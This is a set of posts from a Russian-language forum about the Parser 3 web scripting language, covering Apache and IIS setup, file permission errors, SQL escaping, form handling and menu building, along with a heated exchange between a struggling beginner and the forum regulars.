"
"17946","Твой parts.txt блокирует программа какаято."
"17947","нет нигде ничего не открыто\
"
"17948","вообщем на выходые я ушёл с настроением -2 \
не получаеться ничего\
Мне и пожизни так не везёт \
аааааааааааааааааааааааааааааааааааа\
аааааааааааааааааааааааааааааааааааа\
ааааааааааааааааааааааааааааааааааааа\
ааааааааааааааааааааааааааааааааааааа\
Нелюдь Я \
забью на всё программирование \
Не моё ЭЭЭЭЭЭЭЭЭЭЭЭЭто\
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
ааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
"17949","бывает, что файл блокирует Internet Information Server, если этот файл у него запросить.\
\
он почему-то держит его открытым, и перезаписать файл не удаётся.\
\
попробуйте остановить и запустить [b]сервис[/b] с Internet Information Server'ом.\
\
внимание: я сказал [b]сервис[/b], не сервер."
"17950","Я бы всё заново начал, стер бы нафиг всё из web каталога, из-за одной ошибки всё бросать не имеет смысла."
"17953","Сейчас в http.conf в самом конце прописано вот такое:\
\
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3\
\
# Host www.localhost (2): \
<VirtualHost *:*>\
  DocumentRoot \"Z:/home/localhost/www\"  \
  ServerName \"www.localhost\"\
  ServerAlias \"localhost\" \"www.localhost\"\
  ScriptAlias /cgi/ \"/home/localhost/cgi/\"\
  ScriptAlias /cgi-bin/ \"/home/localhost/cgi-bin/\"\
  ScriptAlias /cgi-bin/ \"/home/localhost/cgi-bin/parser3\"\
  ErrorLog \"/home/localhost/error.log\"\
</VirtualHost>\
\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
\
Пердпоследней строчкой внутри определения VirtualHost я пытаюсь сказать серверу где искать парсер. Первой строчкой там же я пытаюсь объяснить куда ходить за документами при обращении из браузера по адресу localhost/имя-сайта. Что-то не срабатывает. Где и что поправить, если я не хочу свои страницы деражть ПОД парсером, а хочу положить их \"по-соседству\" (на одном с \"сайтом\" уровне, или даже на один выше)?\
Да, и такой же (но без строки про парсер) кусок кода про VirtualHosts есть в вызываемом из httpd.conf-а inculde-ом чуть выше автоматически сгенерённом при установке Денвера файле vhosts.conf.\
\
Я что -- первый, кто установил Денвер?\
Кто-нибудь, кто добился, чтобы оно работало, покажите, пожалуйста, какой строчкой у вас прописан путь к парсеру, и куда вы потом складываете свои файлы."
"17954","Все прочитал. Какой у куда устанавливать, что запускать. Если нетрудно разьяснить, разьясните. Заранее спасибо."
"17956","$timenow.timezone --- будет возвращать 300 для Москвы, \
$timenow.timezoneoffset --- будет возвращать общее время смешения, включая летнее время (для Москвы: зимой --- 300, летом --- 400). \
$timenow.timezoneabbr --- будет возвращать сокращение для временной зоны (для Москвы: MSK зимой и MSD летом).  \
И т. д. "
"17957","Разьясните что нужно скачать куда это установить и что делать дальше."
"17958","Если да, то вот инструкция:\
\
1. Качай HTTP сервер[url=\"http://apache.fresh.co.il/httpd/binaries/win32/apache_2.0.46-win32-x86-no_src.msi\"]Apache 2.0.46[/url] и [url=\"http://www.parser.ru/f/1/download/win32/parser3_3_0_0007_sp1.exe\"]Parser 3[/url].\
\
2. Установи Apache, в трее появится иконка которая показывает состояние HTTP сервера, по адресу http://127.0.0.1 можно увидеть страницу на родном языке (там приветствие и всё такое), в директории куда установил сервер есть папка /htdocs/ - туда кладут HTML документы и другие файлы сайта (всё что в ней сейчас лежит надо удалить) например файл index.html доступен по адресу http://127.0.0.1 или http://127.0.0.1/index.html, по этому адресу они доступны только вам, а по адресу http://ваш_IP/ они доступны и вам, и другим пользователям интернет. Можно уже приступать к началу создания сайта правда он будет мёртвым, не динамичным, например новости нужно будет добавлять руками, что бы избавиться от этой рутины создали Parser (есть и другие языки PHP, ASP).\
\
3. Установливаем Parser, выбераем CGI версию (с поддержкой XML или нет это уже вам решать), документацию можно не устанавливать она старая (новую можно будет скачать из раздела документация), конфигурационный файл и _test.html тоже оставляем. Далее выбераем директорю куда будет установлен Parser, (возле папки /htdocs/ есть папка /cgi-bin/ в ней разрешено исполнение программ и скриптов она доступна по адресу http://127.0.0.1/cgi-bin/) эту папку инталятор должен найти сам. Жмём поехали и пол дела сделано, осталось только настроить сервер что бы Parser заработал. Находим папку /conf/ (она находится возле /htdocs/), в ней есть файл httpd.conf, открываем и добавляем в него это:\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
Перезапускаем сервер! По адресу /cgi-bin/other/ есть файл _test.html, переложи его в /htdocs/, http://127.0.0.1/_test.html можно увидеть работает или нет Parser.\
\
Ну вроде всё... Теперь читайте доку, а что не так то сразу в форум."
"17959","заметил странное поеведение:\
в IIS $request:uri выдает /path/index.html\
в Apache $request:uri выдает как и надо /path/\
\
можно это как-то изменить?\
"
"17961","Прикол в том что дома тоже глухо.\
не получаться сохранить в фаил!\
И добавить в базу каку нить запись\
Даже winду новую ставил ......\
"
"17962","Не читаю я новости, но вот заметил, что появилась новая библиотека.\
С чем это связанно(кроме того что 7.3.2 поддерживается) и почему нет обновлений для linux?\
Кстати сижу на старой библиотеке под lin с pg7.3.2 - проблем не наблюдаю. Может не туда смотрю? :)\
"
"17964","для \"обхода\" этой проблемы делай поиск по форуму, можно даже по форуму в разделе PARSER 2"
"17966","а еще могу предложить поставить себе *nix(*BSD или Linux) ;)"
"17967","@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
\
\
\
Это сохранение\
\
\
"
"17968","Где Givi???\
или есть кто? \
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
// не сохраняет"
"17969","Так что, парсёр) под iis?\
Я недавно решил на работе поэкспериментироватьс iis. Аналогично не сохраняло ничего. Вообщем все дело в правах было. Тебе надо поставить права администратора для себя. Уже плохо помню, не для своего обычного логина-юзера, а для спец-го под iis.\
\
Поищи по форуму. Ответ есть.\
Может поможет."
"17970","И еще, если не сохраняет, то что пишет, ошибку хотябы приведите..."
"17971","c:/inetpub/wwwroot/prob/1/3.html(8): 'c:/inetpub/wwwroot/prob/1/parts.txt' write failed: Permission denied (13), actual filename 'c:/inetpub/wwwroot/prob/1/parts.txt' type: file.access\
\
\
\
\\\\\\\\\\ Это ошибка /////"
"17972","Баг 1:\
Запрос такой: index.html?ok=ok&ok2=ok2&okok2=veryok\
[code]${form:ok$form:ok2}[/code]\
Естественно нужно получить \"veryok\". А возникает ошибка со скобкой.\
Работает только через промежуточную переменную:\
[code]$nextform[$form:ok2]\
$form:ok$nextform[/code]\
\
Баг 2:\
taint[sql] не экранирует такие кавычки: „Тех-Пласт”\
Поимел кучу глюков из-за этого в своем скрипте експорта/импорта sql."
"17974","как вам parser честно и сообщает.\
очевидно, вы проявили ~мозг~ и выключили в windows права на запись у everyone в тот каталог, где живёт ваш сервер.\
\
скажите1: какие пользователи имеет право писать в нужный вам каталог?\
скажите2: есть ли среди них пользователь, от имени которого IIS запускает Parser [пользователя зовут IIS_XXX]"
"17975","оставьте только один ScriptAlias:\
[code]\
ScriptAlias /cgi-bin/ \"/home/localhost/cgi-bin/\"\
[/code]\
\
положите parser в каталог /home/localhost/cgi-bin/ и всё будет в порядке.\
\
когда заработает, продолжим по остальным пожеланиям."
"17976","$form:[ok$form:ok2]\
так вроде должно работать"
"17977","в доке на этот счет ничего не сказано..."
"17978","получаю такую запись в логе парсера:\
[Thu Jun 26 17:46:12 2003] SIGPIPE received. uri=/, qs=  \
\
что это значит?"
"17979","[quot]\
...\
3. Установливаем Parser, выбераем CGI версию (с поддержкой XML или нет это уже вам решать), документацию можно не устанавливать она старая (новую можно будет скачать из раздела документация)...\
...\
[/quot]\
\
спасибо за указание, документацию в комплекте обновил. заодно обновил драйвер pgsql (все это по отдельности было доступно в разделе [url=\"/download/\"]скачать[/url])"
"17981","По логике должен экранировать. Ведь этот символ ломает код..."
"17982","и что в том плохого? \
что за «глюки» вы испытали? copy/paste, если не сложно."
"17984","Глюки вот какие: Юзерь в WYCWYG редакторе (или как там правильно %)) забил эти гребанные кавычки. У меня есть свой SQL админ, который умеет експортировать и импортировать таблицы. На этих кавычках он и загибается, потому-что думает, что эта кавычка закрывает текущий параметр в sql запросе. Он не экранируется, как экранируются нормальные кавычки : /\""
"17985","я это вижу в логах, а как это выглядит не знаю. Как юзер ее видет, и видет ли вообще? "
"17986","посмотрите как mysqldump поступает, и вы увидите, что он ничего подобного не экранирует.\
\
если в БД лежит такая строка:\
текст „Тех-Пласт” и \"еще\" какая-то фигня\
\
то dump сделает примерно следующее:\
INSERT INTO export_test (text) VALUES(\"текст „Тех-Пласт” и \\\"еще\\\" какая-то фигня\");\
"
"17988","\\\"в кавычках\\\" \"Тех-Пласт\"  - вот что выводится после taint[sql]!!!\
Причем \"Тех-Пласт\" - это тот самый „Тех-Пласт”"
"17989","При copy&paste при помощи FAR manager теряются эти гребанные кавычки. Они превращаются в \"\"!!!\
PARSER FOREVA!"
"17991","Я работаю под администратором\
так что все права стоят у меня"
"17993","Permission denied - это же нет прав.\
\
.ходим по кругу.."
"17994","Бывает какойто процесс держит файл, но если файла нет и вылазит эта ошибка, скорей всего нет прав."
"17995","ваш веб-сервер(IIS) запускает parser'а отнюдь не от вашего имени.\
\
чтобы мы вам могли помочь, пожалуйста, ответьте на вопросы, которые я задавал сдесь: http://www.parser.ru/forum/?id=17974\
\
считается хорошим тоном — когда просите о помощи, дочитать письмо с советами до конца и честно проделать предлагаемое."
"17996","этот _test.html выдает следующее:\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can not open the module, /usr/pkg/lib/libparser3mysql.so: Undefined symbol \"__pure_virtual\" (reloc type = 1, symnum = 22) \
/usr/pkg/lib/libparser3mysql.so \
\
что это и как с ним бороться?"
"17997","есть страница в ней предусмотрен выод текста. текст берется из базы. из поля data хочется, допустим, изменить полностью какой-то текст - сделать новый дизайн странице ;) - но только на конркетный текст. вот я подумал если у меня текст попадает при помощи: <p class=text>$text.data</p> и получаю $response:location[/texts/] в теле документа. с чем это может быть связано? (^taint ^untaint пробовал в комбинациях - или надо его применять здесь при выборке в таблицу?)\
"
"17998","Как это связано между собой? ($text.data и $response:location[/texts/])\
\
[i]<p class=text>$text.data</p> и получаю $response:location[/texts/] в теле документа.[/i]\
\
Давай всё по порядку."
"17999","на странице есть меню, в котором выводится список названий текстов, в ури идет идентификаторы текстов. при нажатии на ссылку в основную часть выводится нужный текст. мне хочется для выделения (да, и что скрывать - выпендрежа ради) - некоторые тексты выводить как отдельные файлы - там будет полет фантазии (белый шрифт комик санс на черном фоне;). вот я и подумал, а нельзя ли создать нужные мне файлы (так, как хочется), а поле data (откуда берется текст) писать: $response:location[/texts/vipendrezh.html] и чтобы мне парсер выводил страницу vipendrezh.html. я та попробовал - но ничего не получилось.\
на всякий случай метод, ответсвенный за вывод главного поля:\
[code]\
@content[]\
^cache[/cache/${request:uri}.content.cache]($short_cache){\
^if(def $form:id){\
#собственно проверка - где мы: в корне раздела или просматриваем какой-то текст\
^dbconnect{\
$text[^table::sql{select id, header, data from texts where id='$form:id'}]\
<h1>^typo[$text.header]</h1>\
<p class=text>^typo[$text.data]</p>\
#^typo - обработчик текста - кавычки, тире - если убрать - ни на что не влияяет\
}\
#если мы все таки в корне раздела, то вызываем метод \"обложка\" определяемый в index.html\
}{^cover[]}\
}\
[/code]\
в поле $text.data попадает из базы $response:location[/texts/vipendrezh.html]\
может я вообще неправильно это придумал? просто не занимался раньше подобным."
"18000","попробуете по этим путям положить .so'шки"
"18001","Доброе утро!\
Если сегодня будешь свободен позанимаиси со мной?\
"
"18002","Я всё равно вашу идею не совсем понял... Есть тексты в базе данных которые разбиты на группы, для каждой группы текстов существует свой дизайн, типа так правильно? (или я вообще недапонял)"
"18003","такое бывает, если parser3 собираете сами.\
\
нельзя было использовать вот эту опцию:\
[code]\
  You can disable libstdc++ linkage by setting\
  --disable-link-libstdcpp\
  option to configure.  \
[/code]\
\
хотя, возможно, имеет место несовместимость по библиотекам.\
\
диагноз: пересоберите из исходников."
"18004","wersia, если сегодня будете свободны, ответьте, пожалуйста, на вот это письмо: http://www.parser.ru/forum/?id=17995"
"18005","Вот это будет работать?\
\
<form action=\"http://www.мой.домен/?tred=123\" method=\"post\">\
... \
</form>\
\
Как это можно сделать более рационально?\
"
"18006","<input name=\"tred\" type=\"hidden\" value=\"123\" />"
"18007","1. Объясните смысл конструкции \
<form action=\"http://www.мой.домен/?[b]tred=123[/b] method=\"[b]post[/b]\">?\
\
2. Передавайте как угодно\
\
3. из письма непонятен смысл проблемы\
"
"18009","Как передать с сервера - клиенту и от клиента - сервер информацию о том на какое сообщение в фруме производится ответ.\
\
Необходимо для формы ответа на сообщение в форуме."
"18010","Мне нравится передавать id сообщения в js, открывающий окошко ответа:\
\
<input type=\"button\" value=\"Ответить\" onClick=\"addMessage('номер_сообщения'); return false;\">"
"18012","# типа для размышления - может поможет сформулировать вопрос\
$t[/texts/]\
$c[/cash/]\
$n[vipendrezh]\
$f[^file::load[binary;$t$n.html]]\
^cache[$c$n](3600){^process{^taint[as-is][$f.text]}}"
"18013","извините пожалуйста!\
но я каким то бразом его пропустил из виду!\
Дело в том что у меня права доступа стоят (вроде)\
Я уже совсем запутался!\
обясните по моему администратору даны все права!\
если я ошибаюсь скажите как их поставить ему\
и как включить права"
"18014","считаю ваше поведение вопиющим неуважением к окружающим, выражающемся в неумении (нежелании?) читать письма с подробными исчерпывающими ответами на ваши вопросы."
"18015","Мягко говоря вы меня сливаете!!!!\
На что огромное вам спосибо!\
Не в одном из писем я не увидел ответа на свой вопрос \
кроме писем Givi/\
Всё у вас это у вас это....\
А как это исправить не сказано ни где!!!\
Если вы всё умеете это не значит что это могут все!!\
Я уважаю ваши знания,\
но парсер писался не ДЛЯ Вас а  для всех.\
поэтому на вопросы (какими они бы тупыми не были)Мы пользователи\
хотим получать ответы. ВРАЗУМИТЕЛЬНЫЕ \
_____________________\
С уважением Алексей\
"
"18016","среди участников форума нет телепатов. поэтому форум предполагает диалог: человек с проблемой спрашивает, желающие ему помочь пытаются уточнить проблему для того, чтобы лучше помочь.\
в своём письме вам[http://www.parser.ru/forum/?id=17974] я спрашивал:\
\
[quote]\
скажите1: какие пользователи имеет право писать в нужный вам каталог?\
скажите2: есть ли среди них пользователь, от имени которого IIS запускает Parser [пользователя зовут IIS_XXX]\
[/quote]\
\
спрашивал не от скуки, а искренне желая вам помочь… вы на это письмо просто не ответили."
"18017","Я вам обьяснил, что я просто упустил из виду это письмо\
И поэтоу поводу принёс свои извинения и приношу их сейчас.\
Честно\
я не знаю какие пользователи и поэтому прошу вас помочь мне\
пошагово:\
1.как добавить пользователя с с этими правами \
Не обыного админ-а а пользователя с ПРАВАМИ ДЛЯ IIS\
За ранее спосибо \
_______________________\
Замучевшй всех Алексей\
"
"18018","увидели, что вы не знаете, что такое пользователи и их права.\
конечно, документация по Parser не ставит целью объяснить всё на свете, поэтому в ней это не разъяснено. \
\
просьба почитать что нибудь по операционной системе, которой вы пользуетесь. любой тоненькой книжки будет достаточно.\
\
если кто захочет вам помочь и процитировать нужное место, пусть сделает это."
"18019","вопрос тупой до безобразия - где можно взять библиотеку с context, var и прочими макросами и функциями?"
"18020","на сайте есть… не только форум.\
\
http://www.parser.ru/examples/lib/\
http://www.parser.ru/download/migration/"
"18021","У меня стоит право администратора ему разрешено ВСЁ!!!!!!!\
Я об этом уже писал раньше!!"
"18022","от необходимости думать.\
\
кстати, на эту вашу реплику я отвечал тогда же, когда вы её написали. опять привести ссылку, чтобы вы тоже сказали, что «и это письмо почему-то потерялось»?\
\
ведь что выходит: вам люди искренне пытаются помочь, а вы их письма игнорируете… \
\
по адресу http://www.parser.ru/forum/ ничего не теряется + имеется удобный поиск."
"18023","lib - это понятно. я спросил, потому как не нашел реализации ни context, ни var, ни даже для чего эти функции используются."
"18024","Акромя вашего письма я прочитал всё и отнёсся с благодарностью ко всему что мне предложили и написали!\
И к вашим письмам я обрашаюсь с благодарностью\
но это не даёт вам права меня оскорблять.\
и говорить что я не думаю вообще...\
Если вы не хотите отвечать на поставленный вопрос то не стоит засорять БД нашими спорами\
Мне поможет кто нить другой. \
____________________\
Спосибо! "
"18025","http://parser2.parser.ru/docs/ там и про var и про context..."
"18026","Ещё один день на смарку\
Так ничему не научившись \
У вас есть платные курсы на которые я бы мог пойти и позаниматься!!Если да то поподробнее...... МОжно"
"18028","я по поводу Вашего [url=\"/forum/?id=17948\"]сообщения[/url], а если точнее, то по поводу предпоследней строки осмысленного текста в нем - я вам предлагаю сделать это.\
\
- если за N дней Вы не снизошли до того, чтобы нажать F1, а затем   почитать и понять про пользователей и права в windows\
\
- если Вы замечаете ответы, данные вам, когда _на_эти_ответы_ вам показывают уже не первый раз.\
\
- если Вы не отвечаете на вопросы, которые вам задают, даже когда Вы их замечаете.\
\
- если Вы не пытаетесь сами искать что-либо, а хотите чтобы Вам это разжевали и положили в рот.\
\
- если Вы при этом, попытки помочь Вам, и призывы сделать хоть что-либо самому, называете оскорблениями в Ваш адрес...\
\
я думаю, это будет лучший вариант для Вас...\
\
по поводу попыток вам помочь:\
- я не разу еще не видел в данном форуме столь длительного и детального разжевывания.\
\
- будь тут #pomidorych или кто аналогиный, призывы \"подумать\" звучали-бы не столь любезно, как у ПАФ-а, я думаю, завсегдатаи поймут :)\
\
\
P.S. Я пришёл вам помочь, а вы жалуетесь, что я не хочу плакать с вами. Ф. Ницше. \"Посмертные афоризмы\"\
"
"18029","Есть у меня форма:\
\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"text\" name=\"surnames\" >\
<input type=\"submit\" value=\"Искать\">\
</form>\
\
Как мне сделать запрос с базы данных, чтобы выбрало человека с фамилией именно введённой в текстовое поле?\
( SELECT * FROM people WHERE   ??????  )\
\
Или здесь технология не такая как  РНР, где можно было написать WHERE FIO like '%$surnames%'?\
\
Посоветуйте пожалуста"
"18030","Попробуй так как ты делал на PHP"
"18031","Выдаёт пусто, хоть запрос SQL правильный. Может Парсер не берёт именноэту переменую $surnames c формы или как?\
Как это сделать."
"18032","Вообще-то надо доки читать."
"18033","ДА я читаю.. вообще..\
И так пробовал.. неполучилось, может в тот момент что-то глючило.\
Сейчас попробую"
"18035","1. не письма, а писем: вы проигнорировали два моих письма по делу.\
\
2. я наблюдаю, что вы читаете от письма ровно одну строку, дальше вашего терпения не хватает. вероятно, вы также читали и все остальные письма, в которых вам искренне пытаются помочь."
"18036","Так какая там проблема?\
Что именно не выходит?\
напишите ПОЛНЫЙ список.\
\
фильм \"Постараемся помочь - 2\""
"18037","хватит толочь воду в ступе и описывать эту \"проблему\" в 10 раз, особенно учитывая [b]качество[/b] её описания.\
\
у него проблема: он не знает, как дать пользователю IIS права на создание файлов.\
\
P.S. у меня есть огромное желания погрохать все это как офф-топик из категории \"IIS для чайников\""
"18038","это во втором parser'е, а где взять context для третьего (чтобы не мыкаться вслепую, рисуя свою реализацию, которая вряд ли сразу будет правильной)?"
"18040","фактически его функционал повторяет (причем с бОльшими возможностями) объект 3 парсера \"таблица\"\
\
если-же нужен именно context, то скорее всего стоит задача переноса кода с p2 на p3 (как мне кажется), в таком случае вам указали верное направление: проект migration\
"
"18041","Как бы так модифицировать sections.cfg из примеров, чтобы меню стало многоуровневым. Т.е., мне 3-х или даже 2-х уровней хватило бы.\
\
Хочется, чтобы структура меню читалась из файла sections.cfg, и генерился вот такого типа код:\
<BLOCKQUOTE>\
<!-- первый уровень -->\
<ul>\
<li class=\"active\"><a href=\"index.html\">home</a></li>\
<li><a href=\"portfolio\">portfolio</a></li>\
<!-- второй уровень -->\
<ul>\
	<li><a href=\"portfolio/portraits\">portraits</a></li>\
	<li><a href=\"portfolio/families\">families</a></li>\
	<li><a href=\"portfolio/weddings\">weddings</a></li>\
	<li><a href=\"portfolio/events\">events</a></li>\
</ul>\
<!-- второй уровень закончился -->\
<li><a href=\"services\">info&amp;services</a></li>\
<li><a href=\"about\">about</a></li>\
</ul>\
<!-- первый -- тоже -->\
</BLOCKQUOTE>\
\
где первый уровень вложения -- это в данном случае пункты home, portfolio, info and services и about, а у portfolio есть второй уровень -- ещё один UL внутри внешнего.\
Активный пункт меню в коде отмечен с помощью class=\"active\", и какой именно будет \"active\" -- чтобы определялось по текущему адресу.\
\
Не соображу какие поля добавить в sections.cfg и главное -- как их потом обрабатывать, чтобы появлялся второй уровень в списке UL-ов? Или это под каждый пункт меню, который будет иметь вложения, сделать конфигурацию вложенного меню в отдельном файле, и проверять есть ли этот файл? А если текущим является именно этот пункт меню, прорисовывать и меню второго уровня?\
"
"18042","Бд, не биде....\
\
Поймите, что никто не собирается вас учить, как жить и поступать как надо. Но надо же проявлять ну хотя бы чуть не много сообразительности.\
\
Ок, непонятен ответ. Так скажите это точнее. Поймите, что всезнающих нет. Но самостоятельный поиск истины намного приятен, чем когда нам помогают. Ведь зачем мы всем этим занимаемся. Имхо, только для своего удовлетворения в принципе.\
\
Ну это все лирика. На этом форуме вседа есть люди, кторые помогут. Да, сдают всегда немного нервы. Мейби у меня... (?).... пить надо меньше..\
Главное, если вам все это интересно, не останавливайтесь.\
\
гм..если просортировать эти строки, то может чего и получиться:)"
"18043","на почтовую рассылку? Мож поможет кто-нить?"
"18044","зрозумiло. \
просто во многих примерах используется эта функция, стало быть \"кому-то она нужна\" "
"18045","Они, конечно, не нужны. Это я сомневался, что код воспроизведётся как текст.\
\
Ну и -- из общей логики, активным пунктом, чтобы стало видно меню второго уровня, должен быть не home, а portfolio."
"18046","В документации все расписано...\
\
Если я правильно понял ваш вопрос , то так :\
\
[code]\
^if(def $form:surname){\
    ^connect[$connect_string]{ \
       ....\
       {SELECT * FROM people WHERE surnames = '$form:surname'}\
       ....\
     }\
}{\
\
<form>.... </form>\
\
}\
\
[/code]\
\
1. Заместо \"*\" лучше все таки писать какую таблицу выбираете.\
2. Подразумеваеться, что поле в форме называеться surname.\
\
Вообщем $form:field спасает дело...\
\
P.S А документацию надо читать и поиск есть слева..."
"18047","Есть слева 9 превьюшек, а справа та, по которой кликнули, показывается (относительно) большой картинкой.\
В статическом варианте это -- 9 html-файлов.\
К сожалению, браузер всякий раз прорисовывает по-новой и эти 9 маленьких картинок, хотя казалось бы -- они уже есть в буфере.\
Вопрос: как с помошью парсера сделать так, чтобы по клику грузилась только эта большая картинка?\
Только фреймами?\
Использовать DHTML/скрывать все картинки кроме одной, и при первой загрузке страницы пихать все 9 в браузер не хочется -- посетителю с медленной связью такое может быть напряжно.\
Какой новой модной технологии я не знаю, чтобы это реализовать?\
\
Т.е., как сделать, чтобы вместо 9 статических html-ов был один файл, который бы умел показывать разные картинки в зависимости от того, на какую превьюху наступили?"
"18048","Сделал бы таблицу в которую помещал информацию которая ещё не прошла подтверждения, с обязательными полями code (primary лучше) и date. Поле code - будет содержать произвольную строку, ту которую будем высылать на почтовый ящик для подтверждения регистрации, а date нужна для проверки давности записи. Ну кароче желающему зарегистрироваться приходит письмо с ссылкой на страницу которая будет подтверждать регистрацию (auth.html?code=16543 - к примеру). Страница которая подвержает регистрацию должна выполнить следующее, удалить из таблици записи которые привышают дату ожидания подтверждения регистрации (по полю date); найти запись проверить код подтверждения, если есть такой то удаляем, а информацию копируем в лист рассылки. Ну вроде всё..."
"18049","Помоему HTML код который ты привёл не совсем правельный, я имею ввиду вложенный [code]<ul><li>...</ul>[/code]. Ну если ограничеваться двумя уровнями с условием что все поля в таблице идут по порядку (как в вашем примере), можно добавить в таблицу столбец level - который задаёт уровень вложенности. Ну а дальше соображате сами... Если таблица не удовлетворяет передидущие условия можно сделать поле id и perent_id по анологии как написано: http://www.parser.ru/examples/trees/.\
\
[i]P.S. У меня сейчас вечер жара, может я сейчас слишком плохой совет дал, утром встану ещё раз подумаю.[/i]"
"18050","Тут вроде предварительная загрузка не требуется... \
[code]\
<a href=\"#\" onClick=\"document.image['full'].src='1.jpg'\">\
<img src=\"p_1.jpg\" />\
</a>\
...\
<a href=\"#\" onClick=\"document.image['full'].src='9.jpg'\">\
<img src=\"p_9.jpg\" />\
</a>\
\
<img name=\"full\" src=\"1.jpg\" />\
[/code]"
"18051","возможно вы просто путаете код для 2 и 3 парсера, а это совершенно разные, не совместимые друг с другом вещи."
"18052","Роман,\
спасибо за ответ.\
\
Там на самом деле всё довольно строго:\
<ul><li>...</li><ul><li>...</li></ul><li>...</li></ul>\
\
Да, идея хранить номер уровня, и добавлять или нет лишний обрамляющий <ul>, видимо, правильная.\
"
"18053","если хранишь данные в базе то можно указать столбец например parent, в этом столбце будет указывается родитель данного меню. Используй простую рекурсию и можно будет строить деревья любой вложенности (ограничения накладывает только парсер). Я так и делаю. Написал код один раз теперь могу делать не только меню с вложениями, а например еще статьи и т.п."
"18055","Список для удаления подписчиков\
[code]\
^connect[$connect_string]{\
<form method=post>\
$pod[^table::sql{select who,email from sendnews}]\
^pod.menu{\
$pod.who    $pod.email    <input type=checkbox value=$pod.email>\
}\
<input type=submit value=Стереть name=delete>\
^if(def $form:delete){\
^void:sql{delete from sendnews where email=\"$pod.email\"}\
<br>Стерто\
}{<br>}\
}[/code]\
\
Таким образом удаляется лишь по одной записи. А как сделать, чтобы удалялись все отмеченные?"
"18057","приведенный код единственное, что делает, это после нажатия кнопки \"удалить\" удаляет запись у которой email соответствует последней достатой записи.\
\
кроме того, html прямо скажем не блещет корректностью.\
\
попробуйте что-то вроде этого (могут быть ошибки):\
[code]\
^connect[$connect_string]{\
	<form method=\"post\">\
	$pod[^table::sql{SELECT who,email FROM sendnews}]\
	^pod.menu{\
		<input type=\"checkbox\" name=\"email\" value=\"$pod.email\" id=\"id_^pod.line[]\" />\
		<label for=\"id_^pod.line[]\">$pod.who $pod.email</label><br />\
	}\
	<input type=\"submit\" name=\"delete\" value=\"Удалить\" />\
	</form>\
	^if($pod && def $form:delete && $form:tables.email is \"table\"){\
		$email_list[^pod.menu{^if(^form:tables.email.locate[field;$pod.email]){'$pod.email'}}[,]]\
		^if(def $email_list){\
			^void:sql{\
				DELETE FROM\
					sendnews\
				WHERE\
					email IN ($email_list)\
			}\
			<br />Помеченые записи удалены\
		}\
	}\
}\
[/code]\
\
P.S. по html: все-таки пора уже привыкать к xhtml, или хотя бы html 4, и не опускать обязательные аттрибуты тэгов"
"18058","Переезжаю на новый хостинг (под RedHat). В краткой инструкции написано:\
\
Путь к CGI:\
/home/vkcru/public_html/cgi-bin\
\
В .htaccess вписываю:\
\
AddType parsed-html .html\
Action parsed-html /home/vkcru/public_html/cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg:txt)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Выдает ошибку:\
\
[Wed Jul  2 07:56:17 2003] [error] [client 213.80.148.169] File does not exist: /home/yamx/public_html/home/vkcru/public_html/cgi-bin/parser3.cgi/~vkcru/index.html\
\
Сам файл в /cgi-bin/parser3.cgi есть и отдельно его можно запустить, пишет версию Парсера (седьмую).\
\
Не могу понять в чем косяк, помогите пожалуйста.\
\
Если хотите посмотреть ошибку, то она тут: http://pup.yamx.com/~vkcru/"
"18059","Во-первых, СУБЖ :)\
А во-вторых такой вот вопрос: есть обыкновенный прайс лист в формате Access'a, а надо бы его экспортнуть в Мускл, чтобы можно было работать через веб с ним.\
Кто-нибудь когда-нибудь такое делал и если да, то как??\
\
Ещё раз, СУБЖ :))\
"
"18060","Как в приведённом примере форума при вводе данных согласовать поля forum_message_body.forum_message_id, forum_message.forum_message_id\
\
\
Заранее благодарю за помощь."
"18062","особенно учитывая тот факт, что столбец не указан как auto_increment..."
"18063","найдите на этой странице пример .htaccess и сделайте, как там написано, без отсебятины.\
\
в следующий раз перед самостоятельным измененем .htaccess прочитите доку по apache."
"18064","там указывается [b]не[/b] путь от корня сайта...\
\
к тому же по сообщению об ошибке можно сделать вывод: [b]где[/b] апач ожидает найти parser3.cgi и [b]как[/b] надо подправить action..."
"18065","Как написать скрипт, чтобы при нажатии страница становилась стартовой при открытии браузера?"
"18066","проблема обсуждалась не раз"
"18067","Вопрос в другом как его узнать, при добавлении записи forum_message.forum_message_id проставляется автоматически.\
\
Значит ли это что придётся обратиться к БД для сортировки и чтения данных для того чтобы их потом записать эти данные в другую таблицу, или есть другой более простой и надёжный способ."
"18068","ставите драйвер, создаёте DNS[поиск по форуму, как] к вашей базе данных.\
\
открываете MSAccess, говорите Export... На вопрос отвечаете \"в ODBC\", выбираете из списка свежесозданный DNS, MSAccess сам экспортнёт."
"18069","не надо ничего сортировать...\
\
а как узнать, с какой id (auto_increment) только что добавилась запись вы сможете поискав по ключевым словам \"last_insert_id\"... искать естественно лучше в доке по MySQL, но найдется это и в этом форуме."
"18070","Action parsed-html /cgi-bin/parser3.cgi тоже не помогает.\
\
Не шарю я в Апаче :( Может он чего и хочет, а я его не могу понять?\
\
Вроде бы все по Вашей доке делаю..."
"18072","наш кофейный аппарат гущи не выдаёт :("
"18073","<site>\
 <page id=\"1\">\
  <title>News</title>\
  <class>page_news</class>\
  <xsl>news.xsl</xsl>\
  <page id=\"2\">\
    <title>subnews</title>\
    <class>page_content</class>\
    <xsl>content.xsl</xsl>\
  </page>\
</page>\
</site>\
\
и т.д. ...\
+ в админе - управление страницами, перемещение по уровням и т.д.\
"
